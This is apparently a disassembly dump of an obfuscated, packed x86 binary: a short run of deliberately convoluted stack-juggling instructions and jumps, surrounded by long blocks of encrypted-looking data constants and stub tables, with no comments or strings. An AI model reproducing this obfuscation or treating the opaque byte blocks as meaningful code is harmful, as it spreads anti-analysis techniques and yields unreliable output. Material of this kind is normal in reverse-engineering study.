720E7F6Ah dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h dd 241F68h, 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push ebp push 5C0A462Dh mov ebp, [esp] add esp, 4 shl ebp, 6 sub ebp, 0FC464E25h mov ecx, ebp pop ebp push esp mov esi, [esp] add esp, 4 push 5EDh mov [esp], ebx mov ebx, 8 add ebx, esi mov [ebx], ecx pop ebx push dword ptr [esp] pop esi add esp, 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_541331 ; --------------------------------------------------------------------------- db 52h dd 0B85C7659h, 64B4247h, 0D18BC503h, 20EBh, 7 dup(0) dd 51E90000h, 0E9000005h, 545h, 4B44C368h, 3B67E906h, 5B68FFFDh dd 0E9064B45h, 0FFFD3B5Dh, 4B46E668h, 3B53E906h, 4D68FFFDh dd 0E9064B47h, 0FFFD3B49h, 680807AEh, 0D1B3B63Ch, 452722C5h dd 0C8A8A949h, 335150DCh, 0FF7B4310h, 7C029EFAh, 0EA970361h dd 9A197517h, 4F66FD9Fh, 6F76397Fh, 6621877Ch, 0F7A80B80h dd 1E01CECCh, 5847D8B8h, 59A36CDh, 5A086906h, 7624C91Eh dd 0C9397F4Fh, 0F8877624h, 2847EF88h, 24C8DA9Ah, 651E71F6h dd 310CFE4h, 736DC57Ch, 1163988Ch, 3FB95DE1h, 0E2000000h dd 2432FE47h, 6F2D1676h, 75D3A6F8h, 63FA7C6Fh, 6F754D0Bh dd 0B61C9B7Ch, 1B366B3Ah, 0E3BE59E4h, 0E718500Eh, 0DBA47C6Fh dd 0B531CB5Ah, 0D852C7B4h, 6F5B1C52h, 3A46EC6Dh, 138Ch dd 0FD470B00h, 17762432h, 0A7F76E2Ch, 7C6F75D2h, 50F3911Eh dd 96E7E285h, 521668FFh, 7B762433h, 24326523h, 44347376h dd 0AED68ACFh, 0B0313AAFh, 8FF7BC1Ah, 7520F624h, 29465BDBh dd 33E8E248h, 294B56E9h, 42D57741h, 23E5286Ch, 662059F6h dd 0F4CD75E5h, 2A8DE687h, 6414BA6Eh, 951E6A1Bh, 1692079Eh dd 0A1EB22CFh, 94EEB09h, 4BC88DF8h, 0CCF7C7E3h, 6C00970Eh dd 0C385D9DAh, 11F6233Ch, 1B98E996h, 3C76328Ch, 2542F623h dd 6D6ACF8Dh, 0C9B6FC6Bh, 6C6A2AB8h, 139EEFDBh, 971D6F1Ch dd 8770E592h, 0CB30AD8Eh, 0EB502AB0h, 2E6A44h, 0FDBAEFDCh dd 7827937Ch, 56DFD74Ch, 0D1AD44A4h, 0EFDBF797h, 68F45A25h dd 56h, 0DC7EB9B3h, 6F4D7549h, 1C9B7C6Fh, 494CF789h, 0F1F47F2Bh dd 5A264D4Eh, 6B46B0Ch, 2CCh, 0C0A0BF46h, 492B2ED4h, 0BDDFCA5Dh dd 204041E1h, 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h dd 32B1ED8Fh, 0E7FE5537h, 6F76D197h, 0DE491F7Ch, 29767h dd 0E285FC00h, 397649F4h, 0BFCCC96Bh, 83F071FEh, 24327133h dd 339F6576h, 50177624h, 0BA762433h, 762432FAh, 2432A8ECh dd 32561E76h, 85BE3624h, 595629D4h, 724CDB58h, 3C6F20CDh dd 6903921Dh, 0F0B1CECBh, 8B1C6D87h, 8F278AA5h, 0C993ACE0h dd 5C2D005Eh, 3E7942B6h, 0A34C128Fh, 0CB7B3452h, 234h dd 385857DEh, 0A1C3C66Ch, 157752F5h, 98F8F979h, 361600Ch dd 0FAB93E0h, 0AC326E0Ah, 3AC7D3B1h, 0AA494527h, 7F16CDAFh dd 6F77692Fh, 36D1777Ch, 4CE8FE85h, 0D1BFCC4Dh, 0DDB124E6h dd 7C6F7570h, 1B0698F4h, 9F921E6Ah, 830081EEh, 3712B5E1h dd 0BBA63955h, 13B982CAh, 0B74B2A84h, 0E49F82BAh, 0ABA57C8Fh dd 8E852E3Fh, 0B233B0F1h, 8B3C78D6h, 6B547624h, 0F95836A1h dd 907C6FCDh, 7F04391Bh, 12924A3Fh, 0B8389E1Fh, 33D468FFh dd 0F0462754h, 0EDE88B25h, 9590138Fh, 811E56E4h, 2D167C6Fh dd 0CFA6F86Fh, 1B82BAC3h, 6CEDF88Fh, 0D9DC67F9h, 0AD56EABBh dd 139000D6h, 0FB787D07h, 3E883C8Ah, 0B7807624h, 58EE8215h dd 0E4CED0B9h, 0F8C853Ch, 0FC99317Eh, 6F88C3A2h, 207E177Ch dd 7C6F8368h, 704B4473h, 2454D794h, 2DAAAD48h, 433035BFh dd 9E32A522h, 6B4CEA15h, 10EAD068h, 1EA5F193h, 19226A1Bh dd 0BF8AE473h, 0E82BB22h, 0EB8EA95h, 0ED7FD56Dh, 0CAE64C45h dd 0D0C9DCADh, 2C8BBACh, 6E6CC229h, 7624A226h, 9C316A2Dh dd 4DA0D84Eh, 6BD08A20h, 0E144C63Dh, 151CDDh, 47870000h dd 76244FFDh, 0A201752Eh, 886E3837h, 0C9422h, 80F30000h dd 0EA4047ECh, 244CA8ECh, 0E9802B76h, 2432D395h, 3086E176h dd 2EB9635Ch, 6F75ED50h, 413E797Ch, 0FF96340Fh, 0B77AD2AFh dd 2E911E82h, 12A21A99h, 0A972E09Fh, 63000000h, 0F1ADCFC2h dd 7E2A7673h, 29EFAE9h, 910D6F62h, 6F741415h, 0BFB23E06h dd 223FC1DDh, 0A8AF4A46h, 5057DCC8h, 0B20CA330h, 7C6F78F6h dd 0B9AB7CC2h, 0B249DC7Eh, 379F921Eh, 6F75B499h, 0BE3BD57Ch dd 186713BBh, 29851C6Bh, 7C6F746Fh, 0C09C327Dh, 0ECC255F7h dd 82B78C25h, 0E6872641h, 0D012A20Ch, 42AF5Fh, 29C80000h dd 0D45E4A56h, 40E7B3D1h, 0CB6B2745h, 72FEAAF6h, 0A1F61D7Fh dd 7C1C1D99h, 0E1839E20h, 6B0908B5h, 0D3B1B43Fh, 57116D00h dd 657C6F79h, 0D6740C3h, 0FC000000h, 3D912841h, 7624327Bh dd 0FF882E49h, 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh dd 82F3F672h, 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh dd 0E28952B9h, 4C281h, 0BD550000h, 4, 875DEA29h, 685C2414h dd 3F5h, 56240C89h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 68532404h, 6F284308h, 7EBC15Bh, 8143DBF7h, 0A9625F3h dd 5BD989FFh, 5E18E981h, 0F18134CBh, 0CD14986Dh, 24048B54h dd 4C481h, 89520000h, 8BB53CAh, 1000000h, 5B1389C3h, 2434FF5Ah dd 4C48158h, 0FF000000h, 81592434h, 4C4h, 363BE900h, 5EA9FFFDh dd 77E4C385h, 0B34292A8h, 2E9134D1h, 47B4B82Fh, 0C503064Bh dd 51E9C88Bh, 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch dd 0F8C281D6h, 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h dd 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h dd 247C89F8h, 8C2611Ch, 28C28300h, 0CF850F49h, 0E9FFFFFFh dd 0FFFFFFE9h, 9FD3EBAh, 0D9E900h, 1D200000h, 0C12C0FBEh dd 0CFDF2F82h, 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh dd 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh dd 64F7F691h, 389382CDh, 3C000000h, 40000000h, 94000000h dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h dup(0) dd 1000000h, 0E92D9903h, 2005h, 4B4B9968h, 34DBE906h, 9468FFFDh dd 0E9064B4Ch, 0FFFD34D1h, 4B4DA268h, 34C7E906h, 9368FFFDh dd 0E9064B4Eh, 0FFFD34BDh, 4B4F6A68h, 34B3E906h, 2E68FFFDh dd 0E9064B50h, 0FFFD34A9h, 4B50FE68h, 349FE906h, 0E068FFFDh dd 0E9064B51h, 0FFFD3495h, 4B55A068h, 348BE906h, 1168FFFDh dd 0E9064B56h, 0FFFD3481h, 4B575F68h, 3477E906h, 5A68FFFDh dd 0E9064B5Ah, 0FFFD346Dh, 4B5D9E68h, 3463E906h, 0D368FFFDh dd 0E9064B60h, 0FFFD3459h, 4B626D68h, 344FE906h, 0D768FFFDh dd 0E9064B62h, 0FFFD3445h, 4B634168h, 343BE906h, 0B368FFFDh dd 0E9064B63h, 0FFFD3431h, 4B64CF68h, 3427E906h, 0F668FFFDh dd 0E9064B65h, 0FFFD341Dh, 4B671568h, 3413E906h, 5DE4FFFDh dd 0C86A2642h, 6CF3AFCDh, 0FF871371h, 6E0A86E2h, 8DEA096Bh dd 680809B5h, 0DDBFAA3Ch, 472524C1h, 0CFADA84Bh, 6B2D8114h dd 797C6F7Ch, 0AD32CEE7h, 0AA0C1BEh, 0FBFE8579h, 0C461FB8Ah dd 6AD6DC5h, 9C306103h, 0E5B91110h, 0C9A530DAh, 7C6C4524h dd 78D6A7C0h, 7C6C453Ch, 7E0B8017h, 0DCD55D27h, 88B5CEAFh dd 0F8F258E5h, 0A0FE2503h, 2824DBA9h, 7F000000h, 49DC7EB9h dd 9A891EB2h, 0C36B660Eh, 6C400495h, 0A6D7D07Ch, 6C404C08h dd 944B077Ch, 0A9034BB0h, 0E491DBh, 850A0000h, 0FB8AFBFEh dd 6BC3DE61h, 17FA03AFh, 0C2935DEBh, 0ACECC255h, 38762507h dd 0F381FE7Fh, 71047570h, 0F65C49DFh, 0FE9A991Ah, 250C6760h dd 95901376h, 0ABE59EF7h, 9EBBC95Ch, 1C099F0Dh, 0E8A80E6Fh dd 513F4C4Bh, 7E025066h, 2ADC9A36h, 9A33AADh, 96C46A77h dd 7C6D1787h, 0A09AA46h, 96B14A4h, 61F496A1h, 408B36CAh dd 4790A764h, 0B2189937h, 0B737C424h, 971082h, 9718618Bh dd 0B51D67CBh, 0B2A04CE0h, 0D4B43530h, 822E3CB8h, 0A0BF0E8Fh dd 0A612A338h, 1D2679E9h, 951C0000h, 0A2FE9Ah, 942B6705h dd 37BFEB89h, 0A6425E3Ah, 0D5A2C1A3h, 204041EDh, 95F7D274h dd 1F7D7CF9h, 87E5E083h, 0A3E5B9CCh, 317C6F7Dh, 0F985F4AFh dd 670C98F8h, 60F0ED73h, 0F3B0C1C0h, 0ED7F1672h, 7E3F4C45h dd 0EC80CFD8h, 14E84E41h, 0FFF2722Bh, 0F560E18Eh, 6C401099h dd 0CCA2397Ch, 7C6C3F8Ch, 0FBF75F58h, 357FCFBCh, 1C7C6C40h dd 9B32FDA2h, 6C3F85C3h, 0FE54537Ch, 0A90335EEh, 0C9EFDBh dd 85340000h, 0FE8AFBFEh, 0B00E7F72h, 76243737h, 0A7C5C063h dd 0DECD52EEh, 5550D3A1h, 70C64724h, 770403A0h, 0E97C1E19h dd 6C608895h, 0BF405C7Ch, 46D2D3A0h, 0D4D5A2A1h, 5A653557h dd 0F28E25B0h, 0FDDB7376h, 82B7010Ah, 2FC6515Eh, 0A53A8F7Ah dd 0B41ACBCAh, 0CE5958E4h, 23B1AC32h, 0B5F28386h, 95118D1Dh dd 0FE6C2C82h, 3F787626h, 9C060FBEh, 4FC012A2h, 1C2BDFh dd 91901100h, 181DA7F3h, 8C9B2C78h, 3130B0ECh, 0A6BB4753h dd 0E0D8B9DAh, 6B274544h, 0FCA8C8D5h, 86127E71h, 0C99AE6FDh dd 7EA0D8B6h, 9A2C7C6Fh, 0F8F98509h, 5451D36Dh, 0D0F04627h dd 14542AC1h, 0A0762433h, 32BBFDD1h, 6E097624h, 2AC949E1h dd 85A64D2Fh, 1C20FFEh, 0ED13DBF6h, 0EB2ECD98h, 6AEB5ED9h dd 0E1E48F1Dh, 0C6DE4B83h, 0ADA44CFDh, 9C27B92Ch, 0CD643199h dd 0C0B1AC33h, 4D0BA3h, 247C6C7Ch, 0AE30CC5Bh, 868321B3h dd 0FA461030h, 0EA38FAD7h, 59C0BD1h, 0EA8AEFA9h, 1CB2FD30h dd 99342579h, 0AE453732h, 0B28898D0h, 0A5AF2432h, 0CEDD36Bh dd 0D8D87EFFh, 8B448DFh, 88C09E09h, 5432B2BDh, 98F4832Bh dd 0D36AFD9Fh, 447030DEh, 31A38A21h, 0BC1AB0B1h, 38FA79B2h dd 79E0976h, 0BDCACF75h, 39BA56FCh, 0BB167DCEh, 0FE7F2D6Dh dd 126C0392h, 30EA9C56h, 0EDAD0562h, 0D1D05046h, 0FB42C3A0h dd 57DEFE40h, 1D09B976h, 2700001Bh, 0B5E1839Eh, 326E0A0Fh dd 0C6D2BEADh, 5541233Eh, 0ABC8A8A9h, 7376F2CAh, 0E6E38511h dd 6C630E9Ah, 1413900Ch, 0F6C8DF74h, 7C6F7FB2h, 85FFA83Eh dd 0FB8AFBFEh, 6CC2DF61h, 72E5A790h, 6C4E411Ch, 6BFA857Ch dd 0BDBC38D4h, 0B9FFAFCCh, 77C6C4Dh, 86B6D278h, 4C6F115h dd 7075FF91h, 49CC6203h, 0B45E2875h, 0D1337C82h, 8E812CC0h dd 0EFC7B0F1h, 0D60705C3h, 0A86371D9h, 0D53DD653h, 0F736C1DCh dd 0CD654063h, 3C924671h, 3DD5897Ch, 23653948h, 0B13DD58Ah dd 5DC849F6h, 1D991801h, 780FA144h, 379F1C6Dh, 0D769FCBBh dd 0F281292Ch, 6CFBA19Ah, 0A24452D0h, 59026A7h, 65C4A5A9h dd 0B124433Eh, 9365941Fh, 0C586A16Ch, 2FBB9DB2h, 0DDEE0B5Ah dd 0CE653C5Ch, 0D5DCB8F0h, 5B5EE43Dh, 703F4D2Ah, 0BEB53EDAh dd 0F3BDF20Fh, 0AB5BD44Ah, 1A2Ch, 0F0906F16h, 791B1EA4h dd 0ED8F9A2Dh, 503031B1h, 0DBB9B844h, 47E3DBB8h, 0D46A2642h dd 72FFABC9h, 0E2811D7Fh, 0B7CE85E7h, 6F80A1E7h, 0E992F7Ch dd 8AFBFE85h, 0C453F9C2h, 6C3BAFEAh, 1C7C3B7Ch, 0C85F7EDCh dd 6C3BB2F6h, 6F853E7Ch, 83C98508h, 58349A1Bh, 542ABD5Fh dd 82B45709h, 487CA65Dh, 0EC4CDCB8h, 9ABF5E9Bh, 33B08330h dd 8F07D1h, 3A0512CDh, 356E0590h, 0F14B262Dh, 6A47070Ah dd 6E0A5E6Dh, 1E0B49E1h, 4A1914CFh, 47705C2Dh, 0B991285h dd 1B82296Eh, 5529EC42h, 174CE7C9h, 4D0B63FAh, 7B12CC77h dd 0EE89FBFEh, 0D84F2848h, 0A07AF41h, 0FA963C7Dh, 871E7A79h dd 0DA594FF5h, 40C1AEDFh, 0FE5453D0h, 2B929112h, 75FD23FCh dd 55D5453Ah, 0EF000019h, 7D294B46h, 0FA96F2F7h, 8E1A6665h dd 1D89EBE6h, 0D3F09091h, 3B3EBA82h, 0AEBB4D59h, 542BD6C2h dd 0DCDB5834h, 3E9027BCh, 7C6F817Ah, 8027E046h, 0E813CC0Bh dd 9D327406h, 0D35A2F5Eh, 36601527h, 0A14F4273h, 0DA593991h dd 0D5EEAEDFh, 7709A037h, 0FABBC8CDh, 550B0654h, 38477C6Dh dd 1EB61058h, 59F06725h, 84907020h, 0F662C262h, 0F2E0764Dh dd 82B517ABh, 6D2B831Ah, 7B76250Ch, 9D1A963Ch, 0C18DE17Fh dd 3C077367h, 0C2B7079Eh, 2E79AEAFh, 635C3041h, 0CE502EB9h dd 1A7776CBh, 64910A9Dh, 0AB0A90D6h, 0FA174DAh, 92036164h dd 29E10B19h, 0BC1232D2h, 0ED5057DCh, 15630330h, 91198906h dd 0AB000018h, 3955370Ah, 0C6D2BEBBh, 4A462221h, 0D9B5D7AAh dd 173C5C5Dh, 0E7FA86BEh, 6A770985h, 1017920Eh, 989F2470h dd 7A546BF8h, 7C6F833Eh, 8553348Ah, 0C28AFBFEh, 0EAC453F9h dd 7C6C5B7Fh, 0ECEC8CEBh, 0FE9CA73Fh, 6B461767h, 56282B4h dd 51EC69E7h, 69D09EDh, 2591F6Fh, 186709EDh, 0ED030E4Ah dd 39CEDA09h, 643AAD2Ah, 9ED0324h, 8F5FF7B0h, 0E2D3E2B4h dd 0E7EDAB03h, 0BCFB09ECh, 91984FCBh, 32F0A806h, 0B3FC09ECh dd 5ECBA332h, 8A103441h, 40E5A3FBh, 0B4F30BA4h, 2D164637h dd 0CA61F86Fh, 0C5B29136h, 40B2F6A4h, 713E0BA4h, 7973FBD9h dd 0CAB511ECh, 0D322C15Bh, 25E45ED0h, 5A26A75Dh, 1FAEA54Eh dd 7EDD2CC4h, 0C19D0D82h, 7B000017h, 985E7FAh, 96026E6Bh dd 1A7612F1h, 0A9E5879Ah, 476C0C0Dh, 0D7AA566Eh, 5A47D9B5h dd 0C0C7623Eh, 484FF4A0h, 4A24BB28h, 7C6F830Eh, 858304DAh dd 0C28AFBFEh, 0A5A440F9h, 89DDB124h, 3A7C6F7Bh, 7A8DCBA3h dd 25BB7C6Fh, 872F4838h, 82198CEBh, 0E54D58EEh, 0E98B8E35h dd 0B4D21B8h, 397C6F7Bh, 0AACBB8B9h, 5B79D1DEh, 7C6F7BADh dd 0DF69A5DEh, 0BECFCA68h, 0DCA084F1h, 6328A20h, 3C752C4Ch dd 60AC5D88h dd 4ECA60F3h, 3237BDA5h, 0BC87D7B5h, 53F5871Eh, 745F4082h dd 71FEE9EEh, 0EE4441E3h, 29FF5727h, 5D2982BBh, 0C5A2D3D6h dd 193C7C52h, 0EF887625h, 0CC60F76Eh, 9892120h, 0D36E9A6Bh dd 601C608Ah, 0ADDF99F5h, 82ED7624h, 892B6705h, 6ADFF8Ch dd 0ED4DBC03h, 0B46B12A4h, 16DF06h, 0C5DC6500h, 4C49EBA7h dd 0F0EF702Ch, 657C0490h, 0EAEF8B07h, 340C658Eh, 0BFEB8988h dd 405C3C29h, 0CAC6A2A5h, 954E2A29h, 83ECAC02h, 66F87C6Fh dd 95E980BDh, 762432D3h, 15627F01h, 339BE494h, 2BBA605Bh dd 0AB6B2876h, 0C67F0815h, 0FABE108Eh, 0C676243Bh, 39238B9h dd 6F84DBABh, 0F3620D7Ch, 0BDDFDA59h, 0B225DFDDh, 0E6E3811Bh dd 74520250h, 0F9867C6Fh, 5251D26Eh, 0A8AD5725h, 0F55DDADBh dd 742D68C6h, 0B4267C6Fh, 532AD1F7h, 56F0DBAAh, 2B000000h dd 4ED97BB9h, 413E2DB2h, 302FB020h, 0E9A3FB9Ah, 0FF762432h dd 3173C3B0h, 18762433h, 2CD7F1AEh, 0F6DDE112h, 2Dh, 0BDBB4DDFh dd 214E3F2Ah, 0DF8FD7A0h, 0F9DAE7A5h, 0FE473651h, 16762432h dd 0A6F86F2Dh, 7C6C3ADBh, 0A398B9F2h, 0A55323DCh, 66026D0Dh dd 0DC7EB9DDh, 6BF9B249h, 0A09189C5h, 0DCDDFB53h, 687C6D52h dd 81227E0Fh, 9AAE682h, 832F7D0Ah, 0FAF18Eh, 78F8945Bh dd 0A241D179h, 2AC9C5A7h, 457E5E2Fh, 0F77C1087h, 24BB5AF0h dd 9BE8F788h, 0EB26B41Ah, 0E782B52Bh, 0CD940D98h, 81DEBB9h dd 2A7B07AFh, 0C27D3B93h, 2C4B7624h, 6A690A86h, 6A2A4D1Dh dd 5047EE5Bh, 492536BCh, 0EE5A6A0Fh, 2455D2DDh, 2928D547h dd 0C810CF81h, 504C2C2Bh, 0D0A7D4D3h, 1BB3B63Ch, 8DFAF77Fh dd 4993480Ah, 0D1CDAFAAh, 76265752h, 46188F4Dh, 0F4A2758Bh dd 4502E9A2h, 275455D1h, 56FF2D46h, 235057D2h, 4D6DC542h dd 0C5B2AF31h, 89360BB7h, 0B73C6808h, 2FB1C3B0h, 0B20CA332h dd 0F4A273F6h, 74115727h, 0D0DFF4A2h, 406FC7A0h, 0C9A5AE30h dd 0F4A2738Fh, 0A4D5525Dh, 0BF4432D4h, 174A3BB8h, 0AB3CE45Bh dd 21AECFBCh, 0A14B30EAh, 29650702h, 9EFE8F8Ah, 1E70E7A5h dd 0FAEA880Bh, 0DCC8A8D7h, 93235057h, 0FE5A87D1h, 17646107h dd 96E7E285h, 479C430Fh, 2DF7B426h, 0B0E18386h, 87B871FBh dd 5B083CECh, 0B186DA1h, 2E25CEAAh, 7BD35051h, 881F129Fh dd 74964013h, 0B81E31CEh, 0F9D56C3Bh, 0DE5A98BFh, 4CCC620Dh dd 0CAD0A1A0h, 7E3A942Bh, 4ADE5A98h, 14CB852Dh, 422E21CCh dd 0ECC2AB56h, 0DE5A98ACh, 0C0C76C38h, 2CC83643h, 0B85628ECh dd 0B63E4A3Bh, 2BE7CABBh, 0E01AC74h, 0B48B3662h, 0ECAE89C7h dd 0CC8CE279h, 18DE5A74h, 5E379Fh, 0E4A29E89h, 3ADDAAD5h dd 2829C963h, 36D6AE5Bh, 0F6ADF6E2h, 30EFE149h, 2E4A4DE8h dd 9806F172h, 23DDDC58h, 622678EFh, 6EE4A2A6h, 0A1F38001h dd 0FC900702h, 54146A6Bh, 60E4A2A6h, 7CE98607h, 0C3834275h dd 2E8405BCh, 7471F381h, 0F4CD7507h, 0DA9EF087h, 0E6E4A30Dh dd 0D3882299h, 752A841Ah, 630104AFh, 9FD550CBh, 4F8AB3h dd 80110000h, 0E74F5AECh, 0E49D8E2Bh, 314CCA28h, 0A5E3B353h dd 33762477h, 9B8D5D80h, 1F9C5D4Ch, 94AFE19Eh, 9A0F5FF6h dd 237C6C73h, 7076328Ch, 0D1427C6Ch, 0B19F3559h, 1CB2334Bh dd 0C771139Ch, 28h, 0F08AF5AEh, 17A9C4AEh, 0BD15926Fh dd 0F9F8852Ah, 0A5FBC488h, 0C5D690A2h, 686F140Bh, 0A3FB6AEBh dd 7C6CE78Ah, 9033515Eh, 675074D9h, 115C32A5h, 557C6C43h dd 0CDBAA739h, 24B82FACh, 122E8483h, 1F590444h, 69330C71h dd 0FED067FEh, 691F4ABAh, 83D17906h, 6F675996h, 0F8D4A5C2h dd 9E790EBFh, 0F49EBB5Ah, 677F4B0h, 116DF879h, 7120520Dh dd 0B749DCDBh, 3A6B090Ch, 72031EA6h, 76FD9D35h, 8903CC73h dd 4AC51FA9h, 131FDCh, 859C2500h, 0C09ABE7h, 0B0AF306Ch dd 253CC4D0h, 0AAAF4B47h, 0F4CCA5CEh, 7F2B4948h, 9CFCE9h dd 8A066265h, 0D58EEAE9h, 87ACECC2h, 0A6387C6Fh, 95E980FDh dd 762432D3h, 0A23086E1h, 762433E6h, 0E077152Eh, 6C4C538Eh dd 8BE37A7Ch, 7C6C4BCDh, 0BA369C1Bh, 2BD66AFDh, 0DD583454h dd 31B14BDAh, 8F1D9A30h, 675EE1E4h, 610C5D4Fh, 12AE30AEh dd 0ED940000h, 981A7612h, 1CA3FF9Dh, 8F376301h, 3EBAD6B2h dd 5D3A593Bh, 0B8D8D965h, 2D4F5AECh, 97F5F471h, 1F7D78FBh dd 1B5D3144h, 0A97C6F89h, 7EB98C17h, 0A12E23CFh, 4BA95836h dd 5A257C6Ch, 0A77F34CBh, 7CA4CD0Bh, 60028E24h, 4D5D1B73h dd 1F6B7C6Ch, 9F1C9D88h, 6B08A4FDh, 7C6BFC6Ch, 0AEB83AD6h dd 317E0F02h, 32B1C3B0h, 7A0CA037h, 2DA8C76Fh, 882AFEADh dd 53EFEF8Dh, 2CCC86B3h, 0C880DE75h, 147C6C4Dh, 0E6A2FC6Bh dd 0F27C6C4Dh, 0F77D1DB5h, 0F2CC63F2h, 7C6C4DB6h, 0AECD6502h dd 0C3BFA2D7h, 0F437E5F5h, 66077453h, 0CACF6BF9h, 932F7664h dd 0D85B7C6Ch, 51DCACDDh, 0D753215Eh, 0EC536FD2h, 3BE0D257h dd 0DF7673F1h, 0DFACA54Dh, 3C6878DEh, 8AC2B3B6h, 227CEBB1h dd 82B7DB40h, 0C158CFA8h, 5B14542Ah, 0C7A07627h, 500A36Fh dd 79882B67h, 0E1FC25B8h, 1562E367h, 4BDA80BBh, 72ABE273h dd 623CD37Ch, 7C6CAB26h, 4540E6B2h, 60F67734h, 0CBC05750h dd 4FF7E4E4h, 0F1900172h, 841BFA50h, 3B4857E8h, 0BF44D47Ah dd 27CCD8B8h, 9B1BB520h, 2288E986h, 5A003B95h, 952F3CBh dd 0D9A682B5h, 0A4D27566h, 5ECC4312h, 1160h, 24445BDAh dd 0ADCFCA68h, 11736EF1h, 84E4FD85h, 0F6D6C08h, 0BB78FE4h dd 0A83E6A36h, 26C3DFBDh, 0AE554123h, 831AC9ABh, 6F896D2Bh dd 22E57B7Ch, 0D395E980h, 0E1762432h, 0EFA23086h, 1B762432h dd 0FAE8889Eh, 6D0A7B7Eh, 911E9FECh, 39C86A06h, 0B3A08194h dd 0C7B435A9h, 195F2FA6h, 0A7762521h, 65672D8h, 0B6089F3Dh dd 7C7069A7h, 0F8B12443h, 0C2DA919Eh, 2540F641h, 0D07F1074h dd 861AFB53h, 0FD86E2E1h, 611A8279h, 17058DAh, 9A310000h dd 8797C06h, 327D3B6Bh, 2C4B76A4h, 79B9FD86h, 0AC83882Fh dd 82036CC1h, 0AFB7913h, 0A3157ADFh, 0D7A425CDh, 806700D6h dd 2432672Eh, 9D257576h, 9B6F784h, 5B1B806Ch, 0E980C7E0h dd 2432D395h, 3086E176h, 0DDA6645Ch, 7CB9C358h, 37BD4FC6h dd 1847DCC6h, 63E0A5E0h, 0AA3D9512h, 0A5E79CF5h, 1D0AD359h dd 795374DAh, 0D8E11A92h, 3748h, 0DA682100h, 0F4ED1E76h dd 0B94C57FFh, 0B5F3CB7Fh, 3762432h, 8082E764h, 2432672Eh dd 7AFA9676h, 0C4A3CF67h, 3D28BF51h, 1B80F295h, 82E7E285h dd 3D676FF4h, 0FC000000h, 4140EC80h, 3DB7330h, 68049339h dd 0C583DBCCh, 13762432h, 24BF1794h, 32672E80h, 36757624h dd 40EC806Dh, 55D2D152h, 26EF4724h, 0E7E2857Dh, 2B0B8082h dd 27D490Bh, 0B95AE74Fh, 0E11A9279h, 748801D8h, 792780FDh dd 41CD11B9h, 56000000h, 2FD57CB9h, 3B36BE2Ah, 2E80D9BAh dd 76243267h, 80533473h, 0FAFF851Bh, 39DF499h, 98F6617Ch dd 762432E0h, 982B83ECh, 48B10B80h, 39BBA7C7h, 31E391h dd 19920000h, 23A18193h, 7A0DA578h, 29D57CB9h, 3C3BB828h dd 0C4A12E4Fh, 32672E80h, 36757624h, 801B806Dh, 32D395E9h dd 86E17624h, 0C7C26030h, 806FF4A2h, 0FA85BE0Bh, 0F45A038Ah dd 0FFFE87C6h, 7EB95DFFh, 0BB749DCh, 0E691D2C2h, 0B734F8B4h dd 8411B9C6h, 701A5C2Ah, 74E38C7Ch, 0A34F5BD8h, 0FDB621AEh dd 0C06C246Dh dd 86F3B0C1h, 0BE14ABD4h, 0D46E4A22h, 9BF1AA41h, 0C484D95Dh dd 0A8E0EE44h, 347C7005h, 0EEAC3A4Bh, 657C7005h, 0A3687932h dd 0F6EFF68Ch, 97B16E60h, 0DBAABA6Ch, 0E0698AFFh, 41E2958Fh dd 6FE82B6Dh, 71FEB97Ch, 2175D9h, 47AE0000h, 762432FDh dd 0EF8D882Bh, 24333471h, 0B9635C76h, 4E55502Eh, 86E17C6Ch dd 9D4CFAh, 0B9CB0000h, 7549DC7Eh, 7C6C5CD8h, 38D4432Ch dd 0D0CA9BDh, 35B0EC8Ch, 9E324532h, 1A6D1A09h, 6C5C0444h dd 56D7D07Ch, 49132C80h, 9D5247DEh, 0DE63DB2Eh, 0AB8FCD65h dd 0F582B834h, 0E4811B8Ah, 6E0B87E5h, 89B21A6Bh, 817A54C3h dd 0C97C7366h, 1EA537AEh, 99F58C1Bh, 7C6CE5DFh, 9C2C82EDh dd 0D9646300h, 0C5CB4D8h, 658131EEh, 0DF00000Eh, 6D395B56h dd 0EAA6C2C7h, 7E2A7655h, 0D99FBF6h, 0E3006061h, 0B0EAA92h dd 0BEAB3D69h, 243BC6D2h, 0ACAB4844h, 2E8017CCh, 7C6F8C6Ah dd 8537D076h, 0FE8AFBFEh, 0CFDA6D75h, 52D3D65Dh, 7F9629C3h dd 0EEB5077Fh, 0D971FE05h, 9F31C4DAh, 1D6F1C09h, 81EE9F8Ah dd 4B30AA00h, 900702A1h, 0C7D74FCh, 13BBC76Fh, 0DDE180E8h dd 3D32h, 7EB96900h, 32B4F4CAh, 67007624h, 2A1F6FE6h, 0B67C6C41h dd 4BE8B8C9h, 0F3702C4Ch, 29465BE7h, 0D2BACB48h, 29FBD7E9h dd 0D8990839h, 0B430CC5Bh, 0FA7C4B5h, 5B152886h, 0D6D182B5h dd 0FF8529CAh, 52D16BFAh, 0F1592657h, 3A3FC5D1h, 32C2FD4Dh dd 5BE67624h, 1E33DAB0h, 68E9C2D7h, 7C079908h, 7591F6Fh dd 18677625h, 0F88DEA9Bh, 2A0CD0E8h, 0B814BA64h, 744ADD7Fh dd 7C6FAFF6h, 0BADBF2A7h, 0A9152A19h, 258D0A17h, 0E47BEA95h dd 3FADAC48h, 0AECFBCA9h, 0E8F78808h, 0FD871988h, 793152F8h dd 0DA611A82h, 64247A11h, 7076A432h, 63BF9F37h, 0E4000001h dd 0BEDB79B9h, 32672E80h, 0FF967624h, 2432E9AFh, 2288F776h dd 808EEB90h, 5BEC801Bh, 5FDCC95Fh, 2102C5F7h, 